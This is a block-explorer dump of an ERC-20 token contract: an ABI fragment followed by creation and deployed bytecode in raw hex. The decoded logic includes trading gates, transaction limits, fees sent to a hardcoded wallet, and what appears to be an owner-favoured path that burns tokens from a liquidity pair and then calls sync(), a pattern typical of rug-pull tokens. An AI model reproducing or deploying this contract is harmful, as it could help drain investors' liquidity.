,{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a6200049a565b62000022906305f5e100620004ab565b6003556103e86003546014620000399190620004ab565b620000459190620004c5565b6004556103e860035460146200005c9190620004ab565b620000689190620004c5565b6005556008805463ffffffff60a01b191690556064600c819055600d556001600e55600f80546001600160a01b031916739a45f784a95199a12e2d51ac3a96d7b0919fdd52179055348015620000bd57600080fd5b50620000c93362000167565b620000e8620000e06000546001600160a01b031690565b6001620001b7565b600f5462000101906001600160a01b03166001620001b7565b6200010e306001620001b7565b6200012d620001256000546001600160a01b031690565b6001620001ec565b600f5462000146906001600160a01b03166001620001ec565b62000153306001620001ec565b620001613360035462000221565b620004fe565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b620001c162000312565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b620001f662000312565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6001600160a01b0382166200027d5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b6002546200028c908262000370565b6002556001600160a01b038216600090815260016020526040902054620002b4908262000370565b6001600160a01b0383166000818152600160205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620003069085815260200190565b60405180910390a35050565b6000546001600160a01b031633146200036e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000274565b565b60006200037e8284620004e8565b90505b92915050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003de578160001904821115620003c257620003c262000387565b80851615620003d057918102915b93841c9390800290620003a2565b509250929050565b600082620003f75750600162000381565b81620004065750600062000381565b81600181146200041f57600281146200042a576200044a565b600191505062000381565b60ff8411156200043e576200043e62000387565b50506001821b62000381565b5060208310610133831016604e8410600b84101617156200046f575081810a62000381565b6200047b83836200039d565b806000190482111562000492576200049262000387565b029392505050565b60006200037e60ff841683620003e6565b808202811582820484141762000381576200038162000387565b600082620004e357634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111562000381576200038162000387565b611e67806200050e6000396000f3fe6080604052600436106101d15760003560e01c80638da5cb5b116100f7578063d4c989d311610095578063de7cf79911610064578063de7cf7991461057d578063e4d1a87414610593578063ed995307146105a9578063f2fde38b146105b157600080fd5b8063d4c989d3146104d9578063d54f7d5e146104f9578063d558a53314610517578063dd62ed3e1461053757600080fd5b8063a457c2d7116100d1578063a457c2d71461045a578063a9059cbb1461047a578063c02466681461049a578063cdf4bab9146104ba57600080fd5b80638da5cb5b1461041c57806395d89b41146102065780639a7a23d61461043a57600080fd5b8063490a662b1161016f578063715018a61161013e578063715018a6146103ab578063751039fc146103c05780638a8c523c146103d55780638d5f81e2146103ea57600080fd5b8063490a662b146103115780634fbee193146103275780636d8b05271461036057806370a082311461037557600080fd5b806323b872dd116101ab57806323b872dd14610293578063313ce567146102b357806339509351146102cf57806342966c68146102ef57600080fd5b806306fdde0314610206578063095ea7b31461024457806318160ddd1461027457600080fd5b36610201576040517f544c765b33ca411cce832250371569244f765a17fcd217832be093f0fd5fa45b90600090a1005b600080fd5b34801561021257600080fd5b50604080518082018252600681526510925510d05560d21b6020820152905161023b91906119bf565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a32565b6105d1565b604051901515815260200161023b565b34801561028057600080fd5b506002545b60405190815260200161023b565b34801561029f57600080fd5b506102646102ae366004611a5e565b6105e8565b3480156102bf57600080fd5b506040516012815260200161023b565b3480156102db57600080fd5b506102646102ea366004611a32565b610651565b3480156102fb57600080fd5b5061030f61030a366004611a9f565b610687565b005b34801561031d57600080fd5b50610285600e5481565b34801561033357600080fd5b50610264610342366004611ab8565b6001600160a01b03166000908152600a602052604090205460ff1690565b34801561036c57600080fd5b50600454610285565b34801561038157600080fd5b50610285610390366004611ab8565b6001600160a01b031660009081526001602052604090205490565b3480156103b757600080fd5b5061030f610694565b3480156103cc57600080fd5b506102646106a8565b3480156103e157600080fd5b5061030f6106c3565b3480156103f657600080fd5b506006546001600160a01b03165b6040516001600160a01b03909116815260200161023b565b34801561042857600080fd5b506000546001600160a01b0316610404565b34801561044657600080fd5b5061030f610455366004611ad5565b61073b565b34801561046657600080fd5b50610264610475366004611a32565b6107d5565b34801561048657600080fd5b50610264610495366004611a32565b610824565b3480156104a657600080fd5b5061030f6104b5366004611ad5565b610831565b3480156104c657600080fd5b50600854600160a01b900460ff16610264565b3480156104e557600080fd5b5061030f6104f4366004611ad5565b610864565b34801561050557600080fd5b506008546001600160a01b0316610404565b34801561052357600080fd5b5061030f610532366004611b29565b610897565b34801561054357600080fd5b50610285610552366004611bee565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b34801561058957600080fd5b50610285600d5481565b34801561059f57600080fd5b50610285600c5481565b61030f61096b565b3480156105bd57600080fd5b5061030f6105cc366004611ab8565b610c77565b60006105de338484610ced565b5060015b92915050565b60006105f5848484610e12565b610647843361064285604051806060016040528060288152602001611dc5602891396001600160a01b038a16600090815260076020908152604080832033845290915290205491906114d3565b610ced565b5060019392505050565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916105de91859061064290866114ff565b6106913382611512565b50565b61069c61160b565b6106a66000611665565b565b60006106b261160b565b506000196004819055600555600190565b6106cb61160b565b600854600160b81b900460ff16156107245760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064015b60405180910390fd5b6008805461ffff60b01b191661010160b01b179055565b61074361160b565b6006546001600160a01b03908116908316036107c75760405162461bcd60e51b815260206004820152603a60248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f5f6175746f6d617465644d61726b65744d616b65725061697273000000000000606482015260840161071b565b6107d182826116b5565b5050565b60006105de338461064285604051806060016040528060258152602001611e0d602591393360009081526007602090815260408083206001600160a01b038d16845290915290205491906114d3565b60006105de338484610e12565b61083961160b565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b61086c61160b565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b61089f61160b565b60c8815111156108fd5760405162461bcd60e51b815260206004820152602360248201527f4d6178696d756d206f66203230302063616e206265206164646564206174206f6044820152626e636560e81b606482015260840161071b565b600a60005b825181101561096657600182600085848151811061092257610922611c1c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061095e81611c48565b915050610902565b505050565b61097361160b565b600854600160b81b900460ff16156109c75760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161071b565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610a2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4f9190611c61565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ab1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad59190611c61565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b469190611c61565b600680546001600160a01b0319166001600160a01b03928316179055600854600254610b759230921690610ced565b600654610b8c906001600160a01b031660016116b5565b600654610ba3906001600160a01b03166001610864565b6008546001600160a01b031663f305d7193430610bd5816001600160a01b031660009081526001602052604090205490565b600080610bea6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c52573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109669190611c7e565b610c7f61160b565b6001600160a01b038116610ce45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071b565b61069181611665565b6001600160a01b038316610d4f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161071b565b6001600160a01b038216610db05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161071b565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b610e1d8383836116e0565b6000546001600160a01b03848116911614801590610e4957506000546001600160a01b03838116911614155b1561106b57600854600160b81b900460ff1680610e7e57506001600160a01b0383166000908152600a602052604090205460ff165b80610ea157506001600160a01b0382166000908152600a602052604090205460ff165b610edb5760405162461bcd60e51b815260206004820152600b60248201526a139bdd08115b98589b195960aa1b604482015260640161071b565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f1d57506001600160a01b0382166000908152600a602052604090205460ff16155b1561106b576001600160a01b0383166000908152600b602052604090205460ff168015610f5857506008546001600160a01b03838116911614155b8015610f7d57506001600160a01b03821660009081526009602052604090205460ff16155b1561106b57600454811115610fe55760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b606482015260840161071b565b6005546110118261100b856001600160a01b031660009081526001602052604090205490565b906114ff565b111561106b5760405162461bcd60e51b815260206004820152602360248201527f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f6044820152621d5b9d60ea1b606482015260840161071b565b600854600160a01b900460ff168061108d5750600854600160b01b900460ff16155b15611140576110cf81604051806060016040528060268152602001611d9f602691396001600160a01b03861660009081526001602052604090205491906114d3565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546110fe90826114ff565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611ded83398151915290610e059085815260200190565b6001600160a01b0383166000908152600b602052604090205460ff1615801561118257506001600160a01b0382166000908152600a602052604090205460ff16155b80156111a757506001600160a01b0383166000908152600a602052604090205460ff16155b156111de573060009081526001602052604090205480156111cb576111cb81611808565b4780156111db576111db47611961565b50505b6001600160a01b0382166000908152600b6020526040812054819060ff16801561121157506001600160a01b0385163014155b15611279576001600160a01b0385166000908152600a602052604090205460ff161561125b57611258612710611252600e548661199b90919063ffffffff16565b906119a7565b91505b611276612710611252600d548661199b90919063ffffffff16565b90505b6001600160a01b0385166000908152600b602052604090205460ff1680156112af57506008546001600160a01b03858116911614155b156112d2576112cf612710611252600c548661199b90919063ffffffff16565b90505b60006112de83836114ff565b90508015611400578215611398576001600160a01b038516600090815260016020526040812054841015611396576001600160a01b038616600090815260016020526040902054611330908590611cac565b905061133c8682611512565b6000869050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561137c57600080fd5b505af1158015611390573d6000803e3d6000fd5b50505050505b505b811561140057306000908152600160205260409020546113b890836114ff565b30600081815260016020526040908190209290925590516001600160a01b03881690600080516020611ded833981519152906113f79086815260200190565b60405180910390a35b61143d84604051806060016040528060268152602001611d9f602691396001600160a01b03891660009081526001602052604090205491906114d3565b6001600160a01b03871660009081526001602052604090205561148261146385846119b3565b6001600160a01b038716600090815260016020526040902054906114ff565b6001600160a01b038087166000818152600160205260409020929092558716600080516020611ded8339815191526114ba87866119b3565b60405190815260200160405180910390a3505050505050565b600081848411156114f75760405162461bcd60e51b815260040161071b91906119bf565b505050900390565b600061150b8284611cbf565b9392505050565b6001600160a01b0382166115725760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161071b565b6115af81604051806060016040528060228152602001611d7d602291396001600160a01b03851660009081526001602052604090205491906114d3565b6001600160a01b0383166000908152600160205260409020556002546115d590826119b3565b6002556040518181526000906001600160a01b03841690600080516020611ded8339815191529060200160405180910390a35050565b6000546001600160a01b031633146106a65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6001600160a01b0383166117445760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161071b565b6001600160a01b0382166117a65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161071b565b600081116109665760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161071b565b6008546118209030906001600160a01b031683610ced565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061185557611855611c1c565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156118ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d29190611c61565b816001815181106118e5576118e5611c1c565b6001600160a01b03928316602091820292909201015260085460405163791ac94760e01b815291169063791ac9479061192b908590600090869030904290600401611cd2565b600060405180830381600087803b15801561194557600080fd5b505af1158015611959573d6000803e3d6000fd5b505050505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107d1573d6000803e3d6000fd5b600061150b8284611d43565b600061150b8284611d5a565b600061150b8284611cac565b600060208083528351808285015260005b818110156119ec578581018301518582016040015282016119d0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461069157600080fd5b8035611a2d81611a0d565b919050565b60008060408385031215611a4557600080fd5b8235611a5081611a0d565b946020939093013593505050565b600080600060608486031215611a7357600080fd5b8335611a7e81611a0d565b92506020840135611a8e81611a0d565b929592945050506040919091013590565b600060208284031215611ab157600080fd5b5035919050565b600060208284031215611aca57600080fd5b813561150b81611a0d565b60008060408385031215611ae857600080fd5b8235611af381611a0d565b915060208301358015158114611b0857600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b3c57600080fd5b823567ffffffffffffffff80821115611b5457600080fd5b818501915085601f830112611b6857600080fd5b813581811115611b7a57611b7a611b13565b8060051b604051601f19603f83011681018181108582111715611b9f57611b9f611b13565b604052918252848201925083810185019188831115611bbd57600080fd5b938501935b82851015611be257611bd385611a22565b84529385019392850192611bc2565b98975050505050505050565b60008060408385031215611c0157600080fd5b8235611c0c81611a0d565b91506020830135611b0881611a0d565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c5a57611c5a611c32565b5060010190565b600060208284031215611c7357600080fd5b815161150b81611a0d565b600080600060608486031215611c9357600080fd5b8351925060208401519150604084015190509250925092565b818103818111156105e2576105e2611c32565b808201808211156105e2576105e2611c32565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d225784516001600160a01b031683529383019391830191600101611cfd565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176105e2576105e2611c32565b600082611d7757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122076ad07c3f7915b89f827641071c600db71acb74c1861e22a15d1c5fce876d2b664736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101d15760003560e01c80638da5cb5b116100f7578063d4c989d311610095578063de7cf79911610064578063de7cf7991461057d578063e4d1a87414610593578063ed995307146105a9578063f2fde38b146105b157600080fd5b8063d4c989d3146104d9578063d54f7d5e146104f9578063d558a53314610517578063dd62ed3e1461053757600080fd5b8063a457c2d7116100d1578063a457c2d71461045a578063a9059cbb1461047a578063c02466681461049a578063cdf4bab9146104ba57600080fd5b80638da5cb5b1461041c57806395d89b41146102065780639a7a23d61461043a57600080fd5b8063490a662b1161016f578063715018a61161013e578063715018a6146103ab578063751039fc146103c05780638a8c523c146103d55780638d5f81e2146103ea57600080fd5b8063490a662b146103115780634fbee193146103275780636d8b05271461036057806370a082311461037557600080fd5b806323b872dd116101ab57806323b872dd14610293578063313ce567146102b357806339509351146102cf57806342966c68146102ef57600080fd5b806306fdde0314610206578063095ea7b31461024457806318160ddd1461027457600080fd5b36610201576040517f544c765b33ca411cce832250371569244f765a17fcd217832be093f0fd5fa45b90600090a1005b600080fd5b34801561021257600080fd5b50604080518082018252600681526510925510d05560d21b6020820152905161023b91906119bf565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a32565b6105d1565b604051901515815260200161023b565b34801561028057600080fd5b506002545b60405190815260200161023b565b34801561029f57600080fd5b506102646102ae366004611a5e565b6105e8565b3480156102bf57600080fd5b506040516012815260200161023b565b3480156102db57600080fd5b506102646102ea366004611a32565b610651565b3480156102fb57600080fd5b5061030f61030a366004611a9f565b610687565b005b34801561031d57600080fd5b50610285600e5481565b34801561033357600080fd5b50610264610342366004611ab8565b6001600160a01b03166000908152600a602052604090205460ff1690565b34801561036c57600080fd5b50600454610285565b34801561038157600080fd5b50610285610390366004611ab8565b6001600160a01b031660009081526001602052604090205490565b3480156103b757600080fd5b5061030f610694565b3480156103cc57600080fd5b506102646106a8565b3480156103e157600080fd5b5061030f6106c3565b3480156103f657600080fd5b506006546001600160a01b03165b6040516001600160a01b03909116815260200161023b565b34801561042857600080fd5b506000546001600160a01b0316610404565b34801561044657600080fd5b5061030f610455366004611ad5565b61073b565b34801561046657600080fd5b50610264610475366004611a32565b6107d5565b34801561048657600080fd5b50610264610495366004611a32565b610824565b3480156104a657600080fd5b5061030f6104b5366004611ad5565b610831565b3480156104c657600080fd5b50600854600160a01b900460ff16610264565b3480156104e557600080fd5b5061030f6104f4366004611ad5565b610864565b34801561050557600080fd5b506008546001600160a01b0316610404565b34801561052357600080fd5b5061030f610532366004611b29565b610897565b34801561054357600080fd5b50610285610552366004611bee565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b34801561058957600080fd5b50610285600d5481565b34801561059f57600080fd5b50610285600c5481565b61030f61096b565b3480156105bd57600080fd5b5061030f6105cc366004611ab8565b610c77565b60006105de338484610ced565b5060015b92915050565b60006105f5848484610e12565b610647843361064285604051806060016040528060288152602001611dc5602891396001600160a01b038a16600090815260076020908152604080832033845290915290205491906114d3565b610ced565b5060019392505050565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916105de91859061064290866114ff565b6106913382611512565b50565b61069c61160b565b6106a66000611665565b565b60006106b261160b565b506000196004819055600555600190565b6106cb61160b565b600854600160b81b900460ff16156107245760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064015b60405180910390fd5b6008805461ffff60b01b191661010160b01b179055565b61074361160b565b6006546001600160a01b03908116908316036107c75760405162461bcd60e51b815260206004820152603a60248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f5f6175746f6d617465644d61726b65744d616b65725061697273000000000000606482015260840161071b565b6107d182826116b5565b5050565b60006105de338461064285604051806060016040528060258152602001611e0d602591393360009081526007602090815260408083206001600160a01b038d16845290915290205491906114d3565b60006105de338484610e12565b61083961160b565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b61086c61160b565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b61089f61160b565b60c8815111156108fd5760405162461bcd60e51b815260206004820152602360248201527f4d6178696d756d206f66203230302063616e206265206164646564206174206f6044820152626e636560e81b606482015260840161071b565b600a60005b825181101561096657600182600085848151811061092257610922611c1c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061095e81611c48565b915050610902565b505050565b61097361160b565b600854600160b81b900460ff16156109c75760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161071b565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610a2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4f9190611c61565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ab1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad59190611c61565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b469190611c61565b600680546001600160a01b0319166001600160a01b03928316179055600854600254610b759230921690610ced565b600654610b8c906001600160a01b031660016116b5565b600654610ba3906001600160a01b03166001610864565b6008546001600160a01b031663f305d7193430610bd5816001600160a01b031660009081526001602052604090205490565b600080610bea6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c52573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109669190611c7e565b610c7f61160b565b6001600160a01b038116610ce45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071b565b61069181611665565b6001600160a01b038316610d4f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161071b565b6001600160a01b038216610db05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161071b565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b610e1d8383836116e0565b6000546001600160a01b03848116911614801590610e4957506000546001600160a01b03838116911614155b1561106b57600854600160b81b900460ff1680610e7e57506001600160a01b0383166000908152600a602052604090205460ff165b80610ea157506001600160a01b0382166000908152600a602052604090205460ff165b610edb5760405162461bcd60e51b815260206004820152600b60248201526a139bdd08115b98589b195960aa1b604482015260640161071b565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f1d57506001600160a01b0382166000908152600a602052604090205460ff16155b1561106b576001600160a01b0383166000908152600b602052604090205460ff168015610f5857506008546001600160a01b03838116911614155b8015610f7d57506001600160a01b03821660009081526009602052604090205460ff16155b1561106b57600454811115610fe55760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b606482015260840161071b565b6005546110118261100b856001600160a01b031660009081526001602052604090205490565b906114ff565b111561106b5760405162461bcd60e51b815260206004820152602360248201527f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f6044820152621d5b9d60ea1b606482015260840161071b565b600854600160a01b900460ff168061108d5750600854600160b01b900460ff16155b15611140576110cf81604051806060016040528060268152602001611d9f602691396001600160a01b03861660009081526001602052604090205491906114d3565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546110fe90826114ff565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611ded83398151915290610e059085815260200190565b6001600160a01b0383166000908152600b602052604090205460ff1615801561118257506001600160a01b0382166000908152600a602052604090205460ff16155b80156111a757506001600160a01b0383166000908152600a602052604090205460ff16155b156111de573060009081526001602052604090205480156111cb576111cb81611808565b4780156111db576111db47611961565b50505b6001600160a01b0382166000908152600b6020526040812054819060ff16801561121157506001600160a01b0385163014155b15611279576001600160a01b0385166000908152600a602052604090205460ff161561125b57611258612710611252600e548661199b90919063ffffffff16565b906119a7565b91505b611276612710611252600d548661199b90919063ffffffff16565b90505b6001600160a01b0385166000908152600b602052604090205460ff1680156112af57506008546001600160a01b03858116911614155b156112d2576112cf612710611252600c548661199b90919063ffffffff16565b90505b60006112de83836114ff565b90508015611400578215611398576001600160a01b038516600090815260016020526040812054841015611396576001600160a01b038616600090815260016020526040902054611330908590611cac565b905061133c8682611512565b6000869050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561137c57600080fd5b505af1158015611390573d6000803e3d6000fd5b50505050505b505b811561140057306000908152600160205260409020546113b890836114ff565b30600081815260016020526040908190209290925590516001600160a01b03881690600080516020611ded833981519152906113f79086815260200190565b60405180910390a35b61143d84604051806060016040528060268152602001611d9f602691396001600160a01b03891660009081526001602052604090205491906114d3565b6001600160a01b03871660009081526001602052604090205561148261146385846119b3565b6001600160a01b038716600090815260016020526040902054906114ff565b6001600160a01b038087166000818152600160205260409020929092558716600080516020611ded8339815191526114ba87866119b3565b60405190815260200160405180910390a3505050505050565b600081848411156114f75760405162461bcd60e51b815260040161071b91906119bf565b505050900390565b600061150b8284611cbf565b9392505050565b6001600160a01b0382166115725760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161071b565b6115af81604051806060016040528060228152602001611d7d602291396001600160a01b03851660009081526001602052604090205491906114d3565b6001600160a01b0383166000908152600160205260409020556002546115d590826119b3565b6002556040518181526000906001600160a01b03841690600080516020611ded8339815191529060200160405180910390a35050565b6000546001600160a01b031633146106a65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6001600160a01b0383166117445760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161071b565b6001600160a01b0382166117a65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161071b565b600081116109665760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161071b565b6008546118209030906001600160a01b031683610ced565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061185557611855611c1c565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156118ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d29190611c61565b816001815181106118e5576118e5611c1c565b6001600160a01b03928316602091820292909201015260085460405163791ac94760e01b815291169063791ac9479061192b908590600090869030904290600401611cd2565b600060405180830381600087803b15801561194557600080fd5b505af1158015611959573d6000803e3d6000fd5b505050505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107d1573d6000803e3d6000fd5b600061150b8284611d43565b600061150b8284611d5a565b600061150b8284611cac565b600060208083528351808285015260005b818110156119ec578581018301518582016040015282016119d0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461069157600080fd5b8035611a2d81611a0d565b919050565b60008060408385031215611a4557600080fd5b8235611a5081611a0d565b946020939093013593505050565b600080600060608486031215611a7357600080fd5b8335611a7e81611a0d565b92506020840135611a8e81611a0d565b929592945050506040919091013590565b600060208284031215611ab157600080fd5b5035919050565b600060208284031215611aca57600080fd5b813561150b81611a0d565b60008060408385031215611ae857600080fd5b8235611af381611a0d565b915060208301358015158114611b0857600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b3c57600080fd5b823567ffffffffffffffff80821115611b5457600080fd5b818501915085601f830112611b6857600080fd5b813581811115611b7a57611b7a611b13565b8060051b604051601f19603f83011681018181108582111715611b9f57611b9f611b13565b604052918252848201925083810185019188831115611bbd57600080fd5b938501935b82851015611be257611bd385611a22565b84529385019392850192611bc2565b98975050505050505050565b60008060408385031215611c0157600080fd5b8235611c0c81611a0d565b91506020830135611b0881611a0d565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c5a57611c5a611c32565b5060010190565b600060208284031215611c7357600080fd5b815161150b81611a0d565b600080600060608486031215611c9357600080fd5b8351925060208401519150604084015190509250925092565b818103818111156105e2576105e2611c32565b808201808211156105e2576105e2611c32565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d225784516001600160a01b031683529383019391830191600101611cfd565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176105e2576105e2611c32565b600082611d7757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122076ad07c3f7915b89f827641071c600db71acb74c1861e22a15d1c5fce876d2b664736f6c634300081300